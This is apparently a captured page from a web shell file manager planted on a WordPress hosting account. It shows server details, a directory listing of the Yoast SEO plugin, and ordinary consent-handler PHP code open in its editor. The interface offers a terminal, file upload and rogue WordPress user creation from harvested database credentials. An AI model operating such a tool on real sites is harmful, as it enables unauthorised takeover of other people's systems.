Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
ai
/
consent
/
application
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
consent-endpoints-repository.php
650.00 B
-rw-r--r--
2026-05-07 09:19
consent-handler-interface.php
718.00 B
-rw-r--r--
2026-05-07 09:19
consent-handler.php
1.19 KB
-rw-r--r--
2026-05-31 14:46
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
consent-handler.php
<?php // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure. namespace Yoast\WP\SEO\AI\Consent\Application; use Yoast\WP\SEO\Helpers\User_Helper; /** * Class Consent_Handler * Handles the consent given or revoked by the user. * * @makePublic */ class Consent_Handler implements Consent_Handler_Interface { /** * Holds the user helper instance. * * @var User_Helper */ private $user_helper; /** * Class constructor. * * @param User_Helper $user_helper The user helper. */ public function __construct( User_Helper $user_helper ) { $this->user_helper = $user_helper; } /** * Handles consent revoked by deleting the consent user metadata from the database. * * @param int $user_id The user ID. * * @return void */ public function revoke_consent( int $user_id ) { $this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_consent' ); } /** * Handles consent granted by adding the consent user metadata to the database. * * @param int $user_id The user ID. * * @return void */ public function grant_consent( int $user_id ) { $this->user_helper->update_meta( $user_id, '_yoast_wpseo_ai_consent', true ); } }
关闭
保存